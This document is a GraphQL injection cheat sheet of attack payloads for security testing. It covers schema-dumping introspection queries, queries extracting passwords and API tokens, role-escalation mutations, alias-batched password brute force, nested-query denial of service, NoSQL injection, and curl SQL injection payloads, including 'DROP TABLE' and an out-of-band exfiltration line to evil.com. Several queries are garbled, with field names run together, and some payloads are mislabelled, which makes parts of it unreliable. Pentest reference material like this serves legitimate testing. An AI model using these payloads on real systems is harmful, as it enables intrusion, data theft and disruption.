GraphQL Injection
Introduction to GraphQL Injection
GraphQL Injection happens when an attacker manipulates queries to gain unauthorized access to data or perform restricted actions. Since GraphQL allows users to request specific data, a poorly secured API can be tricked into exposing sensitive information, overloading the system, or even modifying and deleting records. This usually happens when input validation and access controls are weak, letting attackers craft complex queries to extract more data than they should.
Example Let's say there's an API where users can request their own account details:
{user(id: "123") {user(id: "123") {namepassword}}
This query should only return data for the authenticated user. However, if the API doesn’t check permissions properly, an attacker could modify the query to access all users. Exploiting GraphQL Injection:
{users {idnamepassword}}
If the API lacks proper access control, it might return all user details, including emails and hashed passwords.
Enumeration
GraphQL enumeration involves discovering the API structure, including available queries, mutations, and fields, to identify potential attack vectors.
Common GraphQL Endpoints
Most of the time, GraphQL is located at the /graphql or /graphiql endpoint. A more complete list is available at danielmiessler/SecLists/graphql.txt
/v1/explorer/v1/graphiql/graph/graphql/graphql/console//graphql.php/graphiql/graphiql.php/graphql/v1/graphql/v2/graphql/api/graphql/query
Identify an Injection Point
GraphQL injection points can be identified by sending malformed or test queries and observing the response for errors or unintended data leaks.
Basic Injection Tests
These queries help in identifying whether GraphQL allows introspection and basic enumeration.
example.com/graphql?query={__schema{types{name}}}example.com/graphiql?query={__schema{types{name}}}example.com/graphql?query={__typename}example.com/graphql?query={__type(name:"User"){name,fields{name}}}
Check if errors are visible
Testing for verbose error messages can help attackers gain insights into the schema structure.
?query={__schema}?query={}?query={thisdefinitelydoesnotexist}?query={__typename}
Enumerate Database Schema via Introspection
GraphQL introspection allows fetching detailed schema information, including object types, queries, and fields. If enabled, an attacker can use this to map out the entire API.
URL encoded query to dump the database schema The following query extracts the complete schema structure using introspection.
fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}
Extract User Data
This query attempts to retrieve sensitive user information such as IDs, usernames, emails, and passwords.
query {users {idusernamepassword}}
Retrieve Admin Info
Fetching admin-related data can be useful in privilege escalation attacks.
query {adminUsers {idusername}}
Bypass Authentication
Some GraphQL implementations allow querying user details, including tokens, which can be exploited to bypass authentication.
query {user(id: "1") {token}}
Mass Data Extraction
Using introspection, an attacker can dump the entire GraphQL schema to understand the database structure better.
query {__schema {types {namefields {nametype {name}}}}}
Overloading the Server with Nested Queries
GraphQL allows deeply nested queries, which can be abused to cause excessive resource consumption.
query overload {user {friends {friends {friends {friends {idname}}}}}}
Database Schema Enumeration
URL Decoded Query to Dump the Database Schema
fragment FullType on __Type {kindnamedescriptionfields(includeDeprecated: true) {namedescriptionargs {...InputValue}type {...TypeRef}isDeprecateddeprecationReason}inputFields {...InputValue}interfaces {...TypeRef}enumValues(includeDeprecated: true) {namedescriptionisDeprecateddeprecationReason}possibleTypes {...TypeRef}}fragment InputValue on __InputValue {namedescriptiontype {...TypeRef}defaultValue}fragment TypeRef on __Type {kindnameofType {kindnameofType {kindnameofType {kindnameofType {kindnameofType {kindnameofType {kindnameofType {kindname}}}}}}}}query IntrospectionQuery {__schema {queryType {name}mutationType {name}types {...FullType}directives {namedescriptionlocationsargs {...InputValue}}}}
Single Line Queries to Dump the Database Schema Without Fragments
{__schema {queryType { name }mutationType { name }subscriptionType { name }types {kindnamedescriptionfields(includeDeprecated: true) {namedescriptionargs {namedescriptiontype {kindnameofType {kindnameofType {kindname}}}defaultValue}type {kindnameofType {kindname}}isDeprecateddeprecationReason}inputFields {namedescriptiontype {kindnameofType {kindname}}defaultValue}interfaces {kindnameofType {kindname}}enumValues(includeDeprecated: true) {namedescriptionisDeprecateddeprecationReason}possibleTypes {kindnameofType {kindname}}}directives {namedescriptionlocationsargs {namedescriptiontype {kindnameofType {kindname}}defaultValue}}}}
Enumerate Database Schema via Suggestions
When you use an unknown keyword, the GraphQL backend will respond with a suggestion related to its schema.
{"message": "Cannot query field \"one\" on type \"Query\". Did you mean \"node\"?"}
Retrieve All Available Queries
{__schema {queryType {fields {name}}}}
Retrieve All Available Mutations
{__schema {mutationType {fields {name}}}}
Extract All Available Subscriptions
{__schema {subscriptionType {fields {name}}}}
List All Object Types
{__schema {types {kindname}}}
Dump Enum Values
{__schema {types {nameenumValues {name}}}}
Find Sensitive Fields (User, Password, Token, Email)
{__type(name: "User") {fields {nametype {namekind}}}}
Check for Admin Privileges via Boolean Response
{me {isAdmin}}
Dump Data from a Specific Table
Replace TableName with an actual table from the schema.
{TableName {idnamepassword}}
Access API Tokens from User Table
{users {idusernameapiToken}}
Exploiting Input Validation Bypass
GraphQL may not properly validate input types, allowing for injection attacks.mutation {login(input: { username: "admin' --", password: "password" }) {token}}
Modify User Permissions via Mutation
mutation {updateUser(id: "1", role: "admin") {idrole}}
If the GraphQL schema is not directly accessible, you can attempt to enumerate known keywords, field names, and type names by leveraging wordlists such as Escape-Technologies/graphql-wordlist for brute-force discovery.
Enumerate Types Definition
Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type
{__type (name: "User") {namefields {nametype {namekindofType {namekind}}}}}
{__schema {types {namekind}}}
{__type(name:"Query") {namefields {nametype {namekind}}}}
List Path to Reach a Type
$ git clone https://gitlab.com/dee-see/graphql-path-enum$ graphql-path-enum -i ./test_data/h1_introspection.json -t Skill
Found 27+ ways to reach the "Skill" node from the "Query" node:
- Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (me) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (pentest) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (pentests) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (query) -> Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
{__type(name:"Mutation") {namefields {nametype {namekind}}}}
Methodology
Extract Data
example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
Extract Data Using Edges/Nodes
{"query": "query {teams {total_count,edges {node {id, _id, about, handle, state}}}}"}
Extract Data Using Projections
Don’t forget to escape the " inside the options.
{doctors(options: "{\"patients.ssn\" :1}") {firstNamelastNameidpatients {ssn}}}
{"query": "query {users {edges {node {usernamecreatedAt}}}}"}
Mutations
Mutations work like functions. You can use them to interact with GraphQL.
mutation {signIn(login: "Admin", password: "secretp@ssw0rd") {token}}mutation {addUser(id: "1", name: "Dan Abramov", email: "dan@dan.com") {idname}}
mutation {updateUser(id: "1", email: "updated@example.com") {id}}mutation {resetPassword(email: "victim@example.com") {success}}
GraphQL Batching Attacks
- Password Brute-force Amplification Scenario
- Rate Limit Bypass
- 2FA Bypassing
JSON List-Based Batching
[{"query": "..."},{"query": "..."},{"query": "..."}]
Query Name-Based Batching
{"query": "query { qname: Query { field1 } qname1: Query { field1 } }"}
Send the same mutation several times using aliases
mutation {login(pass: 1111, username: "bob")second: login(pass: 2222, username: "bob")third: login(pass: 3333, username: "bob")fourth: login(pass: 4444, username: "bob")}
mutation {register(email: "test@example.com", password: "P@ssw0rd") {success}second: register(email: "test2@example.com", password: "P@ssw0rd") {success}}
Injections
SQL and NoSQL Injections are still possible since GraphQL is just a layer between the client and the database.
NoSQL Injection
Use $regex, $ne from inside a search parameter.
{doctors(options: "{\"limit\": 1, \"patients.ssn\" :1}",search: "{ \"patients.ssn\": { \"$regex\": \".*\"}, \"lastName\":\"Admin\" }") {firstNamelastNameidpatients {ssn}}}
SQL Injection
Send a single quote ' inside a GraphQL parameter to trigger SQL injection.
{bacon(id: "1'") {idtypeprice}}
{user(id: "1 OR '1'='1'") { id username email }}mutation {deleteUser(id: "1; DROP TABLE users;") {success}}
PostgreSQL-based payloads:
# Basic time delay (PostgreSQL)curl -X POST "http://localhost:8080/graphql?embedded_submission_form_uuid=1';SELECT pg_sleep(30);--'"# Extract database versioncurl -X POST "http://localhost:8080/graphql?embedded_submission_form_uuid=1' UNION SELECT version();--"# Enumerate tablescurl -X POST "http://localhost:8080/graphql?embedded_submission_form_uuid=1' UNION SELECT table_name FROM information_schema.tables WHERE table_schema='public';--"# Out-of-band (OOB) exfiltrationcurl -X POST "http://localhost:8080/graphql?embedded_submission_form_uuid=1' UNION SELECT load_extension('\\\\\\evil.com\\payload.dll');--"
SQL Server-based payloads
# Basic delay (SQL Server)curl -X POST "http://localhost:8080/graphql?embedded_submission_form_uuid=1'; WAITFOR DELAY '00:00:30';--"# Extract current usercurl -X POST "http://localhost:8080/graphql?embedded_submission_form_uuid=1' UNION SELECT SYSTEM_USER;--"# Extract database namecurl -X POST "http://localhost:8080/graphql?embedded_submission_form_uuid=1' UNION SELECT DB_NAME();--"# Blind SQL injection with conditional delaycurl -X POST "http://localhost:8080/graphql?embedded_submission_form_uuid=1' IF (1=1) WAITFOR DELAY '00:00:10';--"
Writeups
- Building a free open source GraphQL wordlist for penetration testing
- Exploiting GraphQL
- GraphQL Batching Attack
- GraphQL for Pentesters presentation
- API Hacking GraphQL
- Discovering GraphQL endpoints and SQLi vulnerabilities
- GraphQL abuse: Bypass account level permissions through parameter smuggling
- Graphql Bug to Steal Anyone's Address
- GraphQL cheatsheet
- GraphQL Introspection
- GraphQL NoSQL Injection Through JSON Types
- HIP19 Writeup
- How to set up a GraphQL Server using Node.js, Express & MongoDB
- Introduction to GraphQL
- Introspection query leaks sensitive graphql system information
- Looting GraphQL Endpoints for Fun and Profit
- Securing Your GraphQL API from Malicious Queries
- SQL injection in GraphQL endpoint through embedded_submission_form_uuid parameter
Labs
- PortSwigger - Accessing private GraphQL posts
- PortSwigger - Accidental exposure of private GraphQL fields
- PortSwigger - Finding a hidden GraphQL endpoint
- PortSwigger - Bypassing GraphQL brute force protections
- PortSwigger - Performing CSRF exploits over GraphQL
- Root Me - GraphQL - Introspection
- Root Me - GraphQL - Injection
- Root Me - GraphQL - Backend injection
- Root Me - GraphQL - Mutation
Reference
- PayloadsAllTheThings
- CheatSheetSeries
- GraphQL Injection
- GraphQL Vulnerabilities
- GraphQL Injection Attacks
- Testing GraphQL
- OWASP Cheat Sheet Series
Security Best Practices and Documentation
- Protecting GraphQL APIs from security threats - blog post
- Limiting resource usage to prevent DoS (timeouts, throttling, complexity management, depth limiting, etc.)
- GraphQL Security Perspectives
- A developer's security perspective of GraphQL
- Security Points to Consider Before Implementing GraphQL
Advanced GraphQL Attacks
- Some common GraphQL attacks + attacker mindset
- Bypassing permissions by smuggling parameters
- Bug bounty writeup about GraphQL
- Security talk about Abusing GraphQL
- Real world attacks against GraphQL in the past
- Attack examples against GraphQL